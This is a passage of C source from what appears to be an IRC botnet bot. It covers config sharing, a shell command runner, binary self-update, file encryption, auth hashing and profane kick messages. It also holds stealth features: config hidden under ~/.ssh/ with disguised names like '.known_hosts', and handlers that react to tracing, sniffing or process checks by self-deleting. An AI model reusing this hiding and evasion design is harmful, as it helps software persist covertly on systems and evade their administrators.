  1507. name = newsplit(&ln);
  1508. for (i = 0; !cfgent && (i < cfg_count); i++)
  1509. if (!strcmp(cfg[i]->name, name))
  1510. cfgent = cfg[i];
  1511. if (cfgent) {
  1512. set_cfg_str(NULL, cfgent->name, ln[0] ? ln : NULL);
  1513. } else
  1514. putlog(LOG_ERRORS, "*", STR("Unrecognized config entry %s in userfile"), name);
  1515. }
  1516. void got_config_share(int idx, char *ln)
  1517. {
  1518. char *name;
  1519. int i;
  1520. struct cfg_entry *cfgent = NULL;
  1521. cfg_noshare++;
  1522. name = newsplit(&ln);
  1523. for (i = 0; !cfgent && (i < cfg_count); i++)
  1524. if (!strcmp(cfg[i]->name, name))
  1525. cfgent = cfg[i];
  1526. if (cfgent) {
  1527. set_cfg_str(NULL, cfgent->name, ln[0] ? ln : NULL);
  1528. botnet_send_cfg_broad(idx, cfgent);
  1529. } else
  1530. putlog(LOG_ERRORS, "*", STR("Unrecognized config entry %s in userfile"), name);
  1531. cfg_noshare--;
  1532. }
  1533. void add_cfg(struct cfg_entry *entry)
  1534. {
  1535. cfg = (void *) user_realloc(cfg, sizeof(void *) * (cfg_count + 1));
  1536. cfg[cfg_count] = entry;
  1537. cfg_count++;
  1538. entry->ldata = NULL;
  1539. entry->gdata = NULL;
  1540. }
  1541. void trigger_cfg_changed()
  1542. {
  1543. int i;
  1544. struct userrec *u;
  1545. struct xtra_key *xk;
  1546. u = get_user_by_handle(userlist, botnetnick);
  1547. for (i = 0; i < cfg_count; i++) {
  1548. if (cfg[i]->flags & CFGF_LOCAL) {
  1549. xk = get_user(&USERENTRY_CONFIG, u);
  1550. while (xk && strcmp(xk->key, cfg[i]->name))
  1551. xk = xk->next;
  1552. if (xk) {
  1553. putlog(LOG_DEBUG, "*", STR("trigger_cfg_changed for %s"), cfg[i]->name ? cfg[i]->name : "(null)");
  1554. if (!strcmp(cfg[i]->name, xk->key ? xk->key : "")) {
  1555. set_cfg_str(botnetnick, cfg[i]->name, xk->data);
  1556. }
  1557. }
  1558. }
  1559. }
  1560. }
  1561. int shell_exec(char *cmdline, char *input, char **output, char **erroutput)
  1562. {
  1563. FILE *inpFile,
  1564. *outFile,
  1565. *errFile;
  1566. char tmpfile[161];
  1567. int x,
  1568. fd;
  1569. if (!cmdline)
  1570. return 0;
  1571. /* Set up temp files */
  1572. /* always use mkstemp() when handling temp filess! -dizz */
  1573. sprintf(tmpfile, STR("%s.in-XXXXXX"), tempdir);
  1574. if ((fd = mkstemp(tmpfile)) == -1 || (inpFile = fdopen(fd, "w+")) == NULL) {
  1575. if (fd != -1) {
  1576. unlink(tmpfile);
  1577. close(fd);
  1578. }
  1579. putlog(LOG_ERRORS, "*" , STR("exec: Couldn't open %s"), tmpfile);
  1580. return 0;
  1581. }
  1582. unlink(tmpfile);
  1583. if (input) {
  1584. if (fwrite(input, 1, strlen(input), inpFile) != strlen(input)) {
  1585. fclose(inpFile);
  1586. putlog(LOG_ERRORS, "*", STR("exec: Couldn't write to %s"), tmpfile);
  1587. return 0;
  1588. }
  1589. fseek(inpFile, 0, SEEK_SET);
  1590. }
  1591. unlink(tmpfile);
  1592. sprintf(tmpfile, STR("%s.err-XXXXXX"), tempdir);
  1593. if ((fd = mkstemp(tmpfile)) == -1 || (errFile = fdopen(fd, "w+")) == NULL) {
  1594. if (fd != -1) {
  1595. unlink(tmpfile);
  1596. close(fd);
  1597. }
  1598. putlog(LOG_ERRORS, "*", STR("exec: Couldn't open %s"), tmpfile);
  1599. return 0;
  1600. }
  1601. unlink(tmpfile);
  1602. sprintf(tmpfile, STR("%s.out-XXXXXX"), tempdir);
  1603. if ((fd = mkstemp(tmpfile)) == -1 || (outFile = fdopen(fd, "w+")) == NULL) {
  1604. if (fd != -1) {
  1605. unlink(tmpfile);
  1606. close(fd);
  1607. }
  1608. putlog(LOG_ERRORS, "*", STR("exec: Couldn't open %s"), tmpfile);
  1609. return 0;
  1610. }
  1611. unlink(tmpfile);
  1612. x = fork();
  1613. if (x == -1) {
  1614. putlog(LOG_ERRORS, "*", STR("exec: fork() failed"));
  1615. fclose(inpFile);
  1616. fclose(errFile);
  1617. fclose(outFile);
  1618. return 0;
  1619. }
  1620. if (x) {
  1621. /* Parent: wait for the child to complete */
  1622. int st = 0;
  1623. waitpid(x, &st, 0);
  1624. /* Now read the files into the buffers */
  1625. fclose(inpFile);
  1626. fflush(outFile);
  1627. fflush(errFile);
  1628. if (erroutput) {
  1629. char *buf;
  1630. int fs;
  1631. fseek(errFile, 0, SEEK_END);
  1632. fs = ftell(errFile);
  1633. if (fs == 0) {
  1634. (*erroutput) = NULL;
  1635. } else {
  1636. buf = nmalloc(fs + 1);
  1637. fseek(errFile, 0, SEEK_SET);
  1638. fread(buf, 1, fs, errFile);
  1639. buf[fs] = 0;
  1640. (*erroutput) = buf;
  1641. }
  1642. }
  1643. fclose(errFile);
  1644. if (output) {
  1645. char *buf;
  1646. int fs;
  1647. fseek(outFile, 0, SEEK_END);
  1648. fs = ftell(outFile);
  1649. if (fs == 0) {
  1650. (*output) = NULL;
  1651. } else {
  1652. buf = nmalloc(fs + 1);
  1653. fseek(outFile, 0, SEEK_SET);
  1654. fread(buf, 1, fs, outFile);
  1655. buf[fs] = 0;
  1656. (*output) = buf;
  1657. }
  1658. }
  1659. fclose(outFile);
  1660. return 1;
  1661. } else {
  1662. /* Child: make fd's and set them up as std* */
  1663. int ind,
  1664. outd,
  1665. errd;
  1666. char *argv[4];
  1667. ind = fileno(inpFile);
  1668. outd = fileno(outFile);
  1669. errd = fileno(errFile);
  1670. if (dup2(ind, STDIN_FILENO) == (-1)) {
  1671. exit(1);
  1672. }
  1673. if (dup2(outd, STDOUT_FILENO) == (-1)) {
  1674. exit(1);
  1675. }
  1676. if (dup2(errd, STDERR_FILENO) == (-1)) {
  1677. exit(1);
  1678. }
  1679. argv[0] = STR("/bin/sh");
  1680. argv[1] = STR("-c");
  1681. argv[2] = cmdline;
  1682. argv[3] = NULL;
  1683. execvp(argv[0], &argv[0]);
  1684. exit(1);
  1685. }
  1686. }
  1687. /* Update system code
  1688. */
  1689. int ucnt = 0;
  1690. static void updatelocal(void)
  1691. {
  1692. #ifdef LEAF
  1693. module_entry *me;
  1694. #endif
  1695. Context;
  1696. if (ucnt < 300) {
  1697. ucnt++;
  1698. return;
  1699. }
  1700. del_hook(HOOK_SECONDLY, (Function) updatelocal);
  1701. ucnt = 0;
  1702. /* let's drop the server connection ASAP */
  1703. #ifdef LEAF
  1704. if ((me = module_find("server", 0, 0))) {
  1705. Function *func = me->funcs;
  1706. (func[SERVER_NUKESERVER]) ("Updating...");
  1707. }
  1708. #endif
  1709. botnet_send_chat(-1, botnetnick, "Updating...");
  1710. botnet_send_bye();
  1711. fatal("Updating...", 1);
  1712. usleep(2000 * 500);
  1713. bg_send_quit(BG_ABORT);
  1714. unlink(pid_file); //if this fails it is ok, cron will restart the bot, *hopefully*
  1715. system(binname); //start new bot.
  1716. exit(0);
  1717. }
  1718. int updatebin (int idx, char *par, int autoi)
  1719. {
  1720. char *path = NULL,
  1721. *newbin;
  1722. char buf[2048], old[1024];
  1723. struct stat sb;
  1724. int i;
  1725. #ifdef LEAF
  1726. module_entry *me;
  1727. #endif
  1728. path = newsplit(&par);
  1729. par = path;
  1730. if (!par[0]) {
  1731. if (idx)
  1732. dprintf(idx, "Not enough parameters.\n");
  1733. return 1;
  1734. }
  1735. path = nmalloc(strlen(binname) + strlen(par));
  1736. strcpy(path, binname);
  1737. newbin = strrchr(path, '/');
  1738. if (!newbin) {
  1739. nfree(path);
  1740. if (idx)
  1741. dprintf(idx, "Don't know current binary name\n");
  1742. return 1;
  1743. }
  1744. newbin++;
  1745. if (strchr(par, '/')) {
  1746. *newbin = 0;
  1747. if (idx)
  1748. dprintf(idx, "New binary must be in %s and name must be specified without path information\n", path);
  1749. nfree(path);
  1750. return 1;
  1751. }
  1752. strcpy(newbin, par);
  1753. if (!strcmp(path, binname)) {
  1754. nfree(path);
  1755. if (idx)
  1756. dprintf(idx, "Can't update with the current binary\n");
  1757. return 1;
  1758. }
  1759. if (stat(path, &sb)) {
  1760. if (idx)
  1761. dprintf(idx, "%s can't be accessed\n", path);
  1762. nfree(path);
  1763. return 1;
  1764. }
  1765. if (chmod(path, S_IRUSR | S_IWUSR | S_IXUSR)) {
  1766. if (idx)
  1767. dprintf(idx, "Can't set mode 0600 on %s\n", path);
  1768. nfree(path);
  1769. return 1;
  1770. }
  1771. //make a backup just in case.
  1772. egg_snprintf(old, sizeof old, "%s.bin.old", tempdir);
  1773. copyfile(binname, old);
  1774. if (movefile(path, binname)) {
  1775. if (idx)
  1776. dprintf(idx, "Can't rename %s to %s\n", path, binname);
  1777. nfree(path);
  1778. return 1;
  1779. }
  1780. sprintf(buf, "%s", binname);
  1781. #ifdef LEAF
  1782. if (localhub) {
  1783. /* if localhub = 1, this is the spawn bot and controls
  1784. * the spawning of new bots. */
  1785. sprintf(buf, "%s -P %d", buf, getpid());
  1786. }
  1787. #endif
  1788. //safe to run new binary..
  1789. #ifdef LEAF
  1790. if (!autoi && !localhub) //dont delete pid for auto update!!!
  1791. #endif
  1792. unlink(pid_file); //delete pid so new binary doesnt exit.
  1793. #ifdef HUB
  1794. listen_all(my_port, 1); //close the listening port...
  1795. #endif
  1796. i = system(buf);
  1797. if (i == -1 || i == 1) {
  1798. if (idx)
  1799. dprintf(idx, "Couldn't restart new binary (error %d)\n", i);
  1800. putlog(LOG_MISC, "*", "Couldn't restart new binary (error %d)\n", i);
  1801. return i;
  1802. } else {
  1803. #ifdef LEAF
  1804. if (!autoi && !localhub) {
  1805. /* let's drop the server connection ASAP */
  1806. if ((me = module_find("server", 0, 0))) {
  1807. Function *func = me->funcs;
  1808. (func[SERVER_NUKESERVER]) ("Updating...");
  1809. }
  1810. #endif
  1811. if (idx)
  1812. dprintf(idx, "Updating...bye\n");
  1813. putlog(LOG_MISC, "*", "Updating...\n");
  1814. botnet_send_chat(-1, botnetnick, "Updating...");
  1815. botnet_send_bye();
  1816. fatal("Updating...", 1);
  1817. usleep(2000 * 500);
  1818. bg_send_quit(BG_ABORT);
  1819. exit(0);
  1820. //No need to return :)
  1821. #ifdef LEAF
  1822. } else {
  1823. if (localhub && autoi) {
  1824. add_hook(HOOK_SECONDLY, (Function) updatelocal);
  1825. return 0;
  1826. }
  1827. }
  1828. #endif
  1829. }
  1830. /* this should never be reached */
  1831. return 2;
  1832. }
  1833. void EncryptFile(char *infile, char *outfile)
  1834. {
  1835. char buf[8192];
  1836. FILE *f, *f2 = NULL;
  1837. int std = 0;
  1838. if (!strcmp(outfile, "STDOUT"))
  1839. std = 1;
  1840. f = fopen(infile, "r");
  1841. if(!f)
  1842. return;
  1843. if (!std) {
  1844. f2 = fopen(outfile, "w");
  1845. if (!f2)
  1846. return;
  1847. } else {
  1848. printf("----------------------------------START----------------------------------\n");
  1849. }
  1850. while (fscanf(f,"%[^\n]\n",buf) != EOF) {
  1851. if (std)
  1852. printf("%s\n", cryptit(encrypt_string(netpass, buf)));
  1853. else
  1854. lfprintf(f2, "%s\n", buf);
  1855. }
  1856. if (std)
  1857. printf("-----------------------------------ENF-----------------------------------\n");
  1858. fclose(f);
  1859. if (f2)
  1860. fclose(f2);
  1861. }
  1862. void DecryptFile(char *infile, char *outfile)
  1863. {
  1864. char buf[8192], *temps;
  1865. FILE *f, *f2 = NULL;
  1866. int std = 0;
  1867. if (!strcmp(outfile, "STDOUT"))
  1868. std = 1;
  1869. f = fopen(infile, "r");
  1870. if (!f)
  1871. return;
  1872. if (!std) {
  1873. f2 = fopen(outfile, "w");
  1874. if (!f2)
  1875. return;
  1876. } else {
  1877. printf("----------------------------------START----------------------------------\n");
  1878. }
  1879. while (fscanf(f,"%[^\n]\n",buf) != EOF) {
  1880. temps = (char *) decrypt_string(netpass, decryptit(buf));
  1881. if (!std)
  1882. fprintf(f2, "%s\n",temps);
  1883. else
  1884. printf("%s\n", temps);
  1885. nfree(temps);
  1886. }
  1887. if (std)
  1888. printf("-----------------------------------END-----------------------------------\n");
  1889. fclose(f);
  1890. if (f2)
  1891. fclose(f2);
  1892. }
  1893. int bot_aggressive_to(struct userrec *u)
  1894. {
  1895. char mypval[20],
  1896. botpval[20];
  1897. link_pref_val(u, botpval);
  1898. link_pref_val(get_user_by_handle(userlist, botnetnick), mypval);
  1899. if (strcmp(mypval, botpval) < 0)
  1900. return 1;
  1901. else
  1902. return 0;
  1903. }
  1904. void detected(int code, char *msg)
  1905. {
  1906. #ifdef LEAF
  1907. module_entry *me;
  1908. #endif
  1909. char *p = NULL;
  1910. char tmp[512];
  1911. struct userrec *u;
  1912. struct flag_record fr = { FR_GLOBAL, 0, 0 };
  1913. int act;
  1914. u = get_user_by_handle(userlist, botnetnick);
  1915. #ifdef S_LASTCHECK
  1916. if (code == DETECT_LOGIN)
  1917. p = (char *) (CFG_LOGIN.ldata ? CFG_LOGIN.ldata : (CFG_LOGIN.gdata ? CFG_LOGIN.gdata : NULL));
  1918. #endif
  1919. #ifdef S_ANTITRACE
  1920. if (code == DETECT_TRACE)
  1921. p = (char *) (CFG_TRACE.ldata ? CFG_TRACE.ldata : (CFG_TRACE.gdata ? CFG_TRACE.gdata : NULL));
  1922. #endif
  1923. #ifdef S_PROMISC
  1924. if (code == DETECT_PROMISC)
  1925. p = (char *) (CFG_PROMISC.ldata ? CFG_PROMISC.ldata : (CFG_PROMISC.gdata ? CFG_PROMISC.gdata : NULL));
  1926. #endif
  1927. #ifdef S_PROCESSCHECK
  1928. if (code == DETECT_PROCESS)
  1929. p = (char *) (CFG_BADPROCESS.ldata ? CFG_BADPROCESS.ldata : (CFG_BADPROCESS.gdata ? CFG_BADPROCESS.gdata : NULL));
  1930. #endif
  1931. #ifdef S_HIJACKCHECK
  1932. if (code == DETECT_SIGCONT)
  1933. p = (char *) (CFG_HIJACK.ldata ? CFG_HIJACK.ldata : (CFG_HIJACK.gdata ? CFG_HIJACK.gdata : NULL));
  1934. #endif
  1935. if (!p)
  1936. act = DET_WARN;
  1937. else if (!strcmp(p, STR("die")))
  1938. act = DET_DIE;
  1939. else if (!strcmp(p, STR("reject")))
  1940. act = DET_REJECT;
  1941. else if (!strcmp(p, STR("suicide")))
  1942. act = DET_SUICIDE;
  1943. else if (!strcmp(p, STR("nocheck")))
  1944. act = DET_NOCHECK;
  1945. else if (!strcmp(p, STR("ignore")))
  1946. act = DET_IGNORE;
  1947. else
  1948. act = DET_WARN;
  1949. switch (act) {
  1950. case DET_IGNORE:
  1951. break;
  1952. case DET_WARN:
  1953. putlog(LOG_WARN, "*", msg);
  1954. break;
  1955. case DET_REJECT:
  1956. do_fork();
  1957. putlog(LOG_WARN, "*", STR("Setting myself +d: %s"), msg);
  1958. sprintf(tmp, STR("+d: %s"), msg);
  1959. set_user(&USERENTRY_COMMENT, u, tmp);
  1960. get_user_flagrec(u, &fr, 0);
  1961. fr.global = USER_DEOP | USER_BOT;
  1962. set_user_flagrec(u, &fr, 0);
  1963. sleep(1);
  1964. break;
  1965. case DET_DIE:
  1966. putlog(LOG_WARN, "*", STR("Dying: %s"), msg);
  1967. sprintf(tmp, STR("Dying: %s"), msg);
  1968. set_user(&USERENTRY_COMMENT, u, tmp);
  1969. #ifdef LEAF
  1970. if ((me = module_find("server", 0, 0))) {
  1971. Function *func = me->funcs;
  1972. (func[SERVER_NUKESERVER]) ("BBL");
  1973. }
  1974. #endif
  1975. sleep(1);
  1976. fatal(msg, 0);
  1977. break;
  1978. case DET_SUICIDE:
  1979. putlog(LOG_WARN, "*", STR("Comitting suicide: %s"), msg);
  1980. sprintf(tmp, STR("Suicide: %s"), msg);
  1981. set_user(&USERENTRY_COMMENT, u, tmp);
  1982. #ifdef LEAF
  1983. if ((me = module_find("server", 0, 0))) {
  1984. Function *func = me->funcs;
  1985. (func[SERVER_NUKESERVER]) ("HARAKIRI!!");
  1986. }
  1987. #endif
  1988. sleep(1);
  1989. unlink(binname);
  1990. #ifdef HUB
  1991. unlink(userfile);
  1992. sprintf(tmp, STR("%s~"), userfile);
  1993. unlink(tmp);
  1994. #endif
  1995. fatal(msg, 0);
  1996. break;
  1997. case DET_NOCHECK:
  1998. break;
  1999. }
  2000. }
  2001. char * kickreason(int kind) {
  2002. int r;
  2003. r=random();
  2004. switch (kind) {
  2005. case KICK_BANNED:
  2006. switch (r % 6) {
  2007. case 0: return STR("bye");
  2008. case 1: return STR("banned");
  2009. case 2: return STR("bummer");
  2010. case 3: return STR("go away");
  2011. case 4: return STR("cya around looser");
  2012. case 5: return STR("unwanted!");
  2013. }
  2014. case KICK_KUSER:
  2015. switch (r % 4) {
  2016. case 0: return STR("not wanted");
  2017. case 1: return STR("something tells me you're annoying");
  2018. case 2: return STR("don't bug me looser");
  2019. case 3: return STR("creep");
  2020. }
  2021. case KICK_KICKBAN:
  2022. switch (r % 4) {
  2023. case 0: return STR("gone");
  2024. case 1: return STR("stupid");
  2025. case 2: return STR("looser");
  2026. case 3: return STR("...");
  2027. }
  2028. case KICK_MASSDEOP:
  2029. switch (r % 8) {
  2030. case 0: return STR("spammer!");
  2031. case 1: return STR("easy on the modes now");
  2032. case 2: return STR("mode this");
  2033. case 3: return STR("nice try");
  2034. case 4: return STR("really?");
  2035. case 5: return STR("mIRC sux for mdop kiddo");
  2036. case 6: return STR("scary... really scary...");
  2037. case 7: return STR("you lost the game!");
  2038. }
  2039. case KICK_BADOP:
  2040. switch (r % 5) {
  2041. case 0: return STR("neat...");
  2042. case 1: return STR("oh, no you don't. go away.");
  2043. case 2: return STR("didn't you forget something now?");
  2044. case 3: return STR("no");
  2045. case 4: return STR("hijack this");
  2046. }
  2047. case KICK_BADOPPED:
  2048. switch (r % 5) {
  2049. case 0: return STR("buggar off kid");
  2050. case 1: return STR("asl?");
  2051. case 2: return STR("whoa... what a hacker... skills!");
  2052. case 3: return STR("yes! yes! yes! hit me baby one more time!");
  2053. case 4: return STR("with your skills, you're better off jacking off than hijacking");
  2054. }
  2055. case KICK_MANUALOP:
  2056. switch (r % 6) {
  2057. case 0: return STR("naughty kid");
  2058. case 1: return STR("didn't someone tell you that is bad?");
  2059. case 2: return STR("want perm?");
  2060. case 3: return STR("see how much good that did you?");
  2061. case 4: return STR("not a smart move...");
  2062. case 5: return STR("jackass!");
  2063. }
  2064. case KICK_MANUALOPPED:
  2065. switch (r % 8) {
  2066. case 0: return STR("your pal got mean friends. like me.");
  2067. case 1: return STR("uhh now.. don't wake me up...");
  2068. case 2: return STR("hi hun. missed me?");
  2069. case 3: return STR("spammer! die!");
  2070. case 4: return STR("boo!");
  2071. case 5: return STR("that @ was useful, don't ya think?");
  2072. case 6: return STR("not in my book");
  2073. case 7: return STR("lol, really?");
  2074. }
  2075. case KICK_CLOSED:
  2076. switch (r % 17) {
  2077. case 0: return STR("locked");
  2078. case 1: return STR("later");
  2079. case 2: return STR("closed for now");
  2080. case 3: return STR("sorry, but it's getting late, locking channel. cya around");
  2081. case 4: return STR("better safe than sorry");
  2082. case 5: return STR("cleanup, come back later");
  2083. case 6: return STR("this channel is closed");
  2084. case 7: return STR("shutting down for now");
  2085. case 8: return STR("lockdown");
  2086. case 9: return STR("reopening later");
  2087. case 10: return STR("not for the public atm");
  2088. case 11: return STR("private channel for now");
  2089. case 12: return STR("might reopen soon, might reopen later");
  2090. case 13: return STR("you're not supposed to be here right now");
  2091. case 14: return STR("sorry, closed");
  2092. case 15: return STR("try us later, atm we're locked down");
  2093. case 16: return STR("closed. try tomorrow");
  2094. }
  2095. case KICK_FLOOD:
  2096. switch (r % 7) {
  2097. case 0: return STR("so much bullshit in such a short time. amazing.");
  2098. case 1: return STR("slow down. i'm trying to read here.");
  2099. case 2: return STR("uhm... you actually think irc is for talking?");
  2100. case 3: return STR("talk talk talk");
  2101. case 4: return STR("blabbering are we?");
  2102. case 5: return STR("... and i don't even like you!");
  2103. case 6: return STR("and you're outa here...");
  2104. }
  2105. case KICK_NICKFLOOD:
  2106. switch (r % 7) {
  2107. case 0: return STR("make up your mind?");
  2108. case 1: return STR("be schizofrenic elsewhere");
  2109. case 2: return STR("I'm loosing track of you... not!");
  2110. case 3: return STR("that is REALLY annoying");
  2111. case 4: return STR("try this: /NICK looser");
  2112. case 5: return STR("playing hide 'n' seek?");
  2113. case 6: return STR("gotcha!");
  2114. }
  2115. case KICK_KICKFLOOD:
  2116. switch (r % 6) {
  2117. case 0: return STR("easier to just leave if you wan't to be alone");
  2118. case 1: return STR("cool down");
  2119. case 2: return STR("don't be so damned aggressive. that's my job.");
  2120. case 3: return STR("kicking's fun, isn't it?");
  2121. case 4: return STR("what's the rush?");
  2122. case 5: return STR("next time you do that, i'll kick you again");
  2123. }
  2124. case KICK_BOGUSUSERNAME:
  2125. return STR("bogus username");
  2126. case KICK_MEAN:
  2127. switch (r % 11) {
  2128. case 0: return STR("hey! that wasn't very nice!");
  2129. case 1: return STR("don't fuck with my pals");
  2130. case 2: return STR("meanie!");
  2131. case 3: return STR("I can be a bitch too...");
  2132. case 4: return STR("leave the bots alone, will ya?");
  2133. case 5: return STR("not very clever");
  2134. case 6: return STR("watch it");
  2135. case 7: return STR("fuck off");
  2136. case 8: return STR("easy now. that's a friend.");
  2137. case 9: return STR("abuse of power. leave that to me, will ya?");
  2138. case 10: return STR("there as some things you cannot do, and that was one of them...");
  2139. }
  2140. case KICK_BOGUSKEY:
  2141. return STR("I have a really hard time reading that key");
  2142. default:
  2143. return "OMFG@YUO";
  2144. }
  2145. }
  2146. char kickprefix[25] = "";
  2147. char bankickprefix[25] = "";
  2148. void makeplaincookie(char *chname, char *nick, char *buf)
  2149. {
  2150. /*
  2151. plain cookie:
  2152. Last 6 digits of time
  2153. Last 5 chars of nick
  2154. Last 4 regular chars of chan
  2155. */
  2156. char work[256],
  2157. work2[256];
  2158. int i,
  2159. n;
  2160. sprintf(work, STR("%010li"), (now + timesync));
  2161. strcpy(buf, (char *) &work[4]);
  2162. work[0] = 0;
  2163. if (strlen(nick) < 5)
  2164. while (strlen(work) + strlen(nick) < 5)
  2165. strcat(work, " ");
  2166. else
  2167. strcpy(work, (char *) &nick[strlen(nick) - 5]);
  2168. strcat(buf, work);
  2169. n = 3;
  2170. for (i = strlen(chname) - 1; (i >= 0) && (n >= 0); i--)
  2171. if (((unsigned char) chname[i] < 128) && ((unsigned char) chname[i] > 32)) {
  2172. work2[n] = tolower(chname[i]);
  2173. n--;
  2174. }
  2175. while (n >= 0)
  2176. work2[n--] = ' ';
  2177. work2[4] = 0;
  2178. strcat(buf, work2);
  2179. }
  2180. int goodpass(char *pass, int idx, char *nick)
  2181. {
  2182. int i, nalpha = 0, lcase = 0, ucase = 0, ocase = 0, tc;
  2183. char *tell;
  2184. tell = nmalloc(300);
  2185. if (!pass[0])
  2186. return 0;
  2187. for (i = 0; i < strlen(pass); i++) {
  2188. tc = (int) pass[i];
  2189. if (tc < 58 && tc > 47)
  2190. ocase++; //number
  2191. else if (tc < 91 && tc > 64)
  2192. ucase++; //upper case
  2193. else if (tc < 123 && tc > 96)
  2194. lcase++; //lower case
  2195. else
  2196. nalpha++; //non-alphabet/number
  2197. }
  2198. if (ocase < 1 || lcase < 2 || ucase < 2 || nalpha < 1 || strlen(pass) < 8) {
  2199. sprintf(tell, "Insecure pass, must be: ");
  2200. if (ocase < 1)
  2201. strcat(tell, "\002>= 1 number\002, ");
  2202. else
  2203. strcat(tell, ">= 1 number, ");
  2204. if (lcase < 2)
  2205. strcat(tell, "\002>= 2 lcase\002, ");
  2206. else
  2207. strcat(tell, ">= 2 lowercase, ");
  2208. if (ucase < 2)
  2209. strcat(tell, "\002>= 2 ucase\002, ");
  2210. else
  2211. strcat(tell, ">= 2 uppercase, ");
  2212. if (nalpha < 1)
  2213. strcat(tell, "\002>= 1 non-alpha/num\002, ");
  2214. else
  2215. strcat(tell, ">= 1 non-alpha/num, ");
  2216. if (strlen(pass) < 8)
  2217. strcat(tell, "\002>= 8 chars.\002");
  2218. else
  2219. strcat(tell, ">= 8 chars.");
  2220. if (idx)
  2221. dprintf(idx, "%s\n", tell);
  2222. else if (nick[0])
  2223. dprintf(DP_HELP, "NOTICE %s :%s\n", nick, tell);
  2224. return 0;
  2225. }
  2226. return 1;
  2227. }
  2228. char *makehash(struct userrec *u, char *rand)
  2229. {
  2230. int i = 0;
  2231. MD5_CTX ctx;
  2232. unsigned char md5out[33];
  2233. char md5string[33], hash[500], *ret = NULL;
  2234. Context;
  2235. sprintf(hash, "%s%s%s", rand, (char *) get_user(&USERENTRY_SECPASS, u), authkey ? authkey : "");
  2236. // putlog(LOG_DEBUG, "*", "Making hash from %s %s: %s", rand, get_user(&USERENTRY_SECPASS, u), hash);
  2237. MD5_Init(&ctx);
  2238. MD5_Update(&ctx, hash, strlen(hash));
  2239. MD5_Final(md5out, &ctx);
  2240. for(i=0; i<16; i++)
  2241. sprintf(md5string + (i*2), "%.2x", md5out[i]);
  2242. // putlog(LOG_DEBUG, "*", "MD5 of hash: %s", md5string);
  2243. ret = md5string;
  2244. return ret;
  2245. }
  2246. int new_auth(void)
  2247. {
  2248. int i = auth_total;
  2249. Context;
  2250. if (auth_total == max_auth)
  2251. return -1;
  2252. auth_total++;
  2253. egg_bzero((char *) &auth[i], sizeof(struct auth_t));
  2254. return i;
  2255. }
  2256. int isauthed(char *host)
  2257. {
  2258. int i = 0;
  2259. Context;
  2260. if (!host || !host[0])
  2261. return -1;
  2262. for (i = 0; i < auth_total; i++) {
  2263. if (auth[i].host[0] && !strcmp(auth[i].host, host)) {
  2264. putlog(LOG_DEBUG, "*", "Debug for isauthed: checking: %s i: %d :: %s", host, i, auth[i].host);
  2265. return i;
  2266. }
  2267. }
  2268. return -1;
  2269. }
  2270. void removeauth(int n)
  2271. {
  2272. Context;
  2273. auth_total--;
  2274. if (n < auth_total)
  2275. egg_memcpy(&auth[n], &auth[auth_total], sizeof(struct auth_t));
  2276. else
  2277. egg_bzero(&auth[n], sizeof(struct auth_t)); /* drummer */
  2278. }
  2279. char *replace (char *string, char *oldie, char *newbie)
  2280. {
  2281. static char newstring[1024] = "";
  2282. int str_index, newstr_index, oldie_index, end, new_len, old_len, cpy_len;
  2283. char *c;
  2284. if (string == NULL) return "";
  2285. if ((c = (char *) strstr(string, oldie)) == NULL) return string;
  2286. new_len = strlen(newbie);
  2287. old_len = strlen(oldie);
  2288. end = strlen(string) - old_len;
  2289. oldie_index = c - string;
  2290. newstr_index = 0;
  2291. str_index = 0;
  2292. while(str_index <= end && c != NULL) {
  2293. cpy_len = oldie_index-str_index;
  2294. strncpy(newstring + newstr_index, string + str_index, cpy_len);
  2295. newstr_index += cpy_len;
  2296. str_index += cpy_len;
  2297. strcpy(newstring + newstr_index, newbie);
  2298. newstr_index += new_len;
  2299. str_index += old_len;
  2300. if((c = (char *) strstr(string + str_index, oldie)) != NULL)
  2301. oldie_index = c - string;
  2302. }
  2303. strcpy(newstring + newstr_index, string + str_index);
  2304. return (newstring);
  2305. }
  2306. char *getfullbinname(char *argv0)
  2307. {
  2308. char *cwd,
  2309. *bin,
  2310. *p,
  2311. *p2;
  2312. bin = nmalloc(strlen(argv0) + 1);
  2313. strcpy(bin, argv0);
  2314. if (bin[0] == '/') {
  2315. return bin;
  2316. }
  2317. cwd = nmalloc(8192);
  2318. getcwd(cwd, 8191);
  2319. cwd[8191] = 0;
  2320. if (cwd[strlen(cwd) - 1] == '/')
  2321. cwd[strlen(cwd) - 1] = 0;
  2322. p = bin;
  2323. p2 = strchr(p, '/');
  2324. while (p) {
  2325. if (p2)
  2326. *p2++ = 0;
  2327. if (!strcmp(p, "..")) {
  2328. p = strrchr(cwd, '/');
  2329. if (p)
  2330. *p = 0;
  2331. } else if (strcmp(p, ".")) {
  2332. strcat(cwd, "/");
  2333. strcat(cwd, p);
  2334. }
  2335. p = p2;
  2336. if (p)
  2337. p2 = strchr(p, '/');
  2338. }
  2339. nfree(bin);
  2340. bin = nmalloc(strlen(cwd) + 1);
  2341. strcpy(bin, cwd);
  2342. nfree(cwd);
  2343. return bin;
  2344. }
  2345. void sdprintf EGG_VARARGS_DEF(char *, arg1)
  2346. {
  2347. if (sdebug) {
  2348. char *format;
  2349. char s[601];
  2350. va_list va;
  2351. format = EGG_VARARGS_START(char *, arg1, va);
  2352. egg_vsnprintf(s, 2000, format, va);
  2353. va_end(va);
  2354. if (!backgrd)
  2355. dprintf(DP_STDOUT, "[D] %s\n", s);
  2356. else
  2357. putlog(LOG_MISC, "*", "[D] %s", s);
  2358. }
  2359. }
  2360. char *werr_tostr(int errnum)
  2361. {
  2362. switch (errnum) {
  2363. case ERR_BINSTAT:
  2364. return STR("Cannot access binary");
  2365. case ERR_BINMOD:
  2366. return STR("Cannot chmod() binary");
  2367. case ERR_PASSWD:
  2368. return STR("Cannot access the global passwd file");
  2369. case ERR_WRONGBINDIR:
  2370. return STR("Wrong directory/binary name");
  2371. case ERR_CONFSTAT:
  2372. #ifdef LEAF
  2373. return STR("Cannot access config directory (~/.ssh/)");
  2374. #else
  2375. return STR("Cannot access config directory (./)");
  2376. #endif /* LEAF */
  2377. case ERR_TMPSTAT:
  2378. #ifdef LEAF
  2379. return STR("Cannot access tmp directory (~/.ssh/.../)");
  2380. #else
  2381. return STR("Cannot access config directory (./tmp/)");
  2382. #endif /* LEAF */
  2383. case ERR_CONFDIRMOD:
  2384. #ifdef LEAF
  2385. return STR("Cannot chmod() config directory (~/.ssh/)");
  2386. #else
  2387. return STR("Cannot chmod() config directory (./)");
  2388. #endif /* LEAF */
  2389. case ERR_CONFMOD:
  2390. #ifdef LEAF
  2391. return STR("Cannot chmod() config (~/.ssh/.known_hosts/)");
  2392. #else
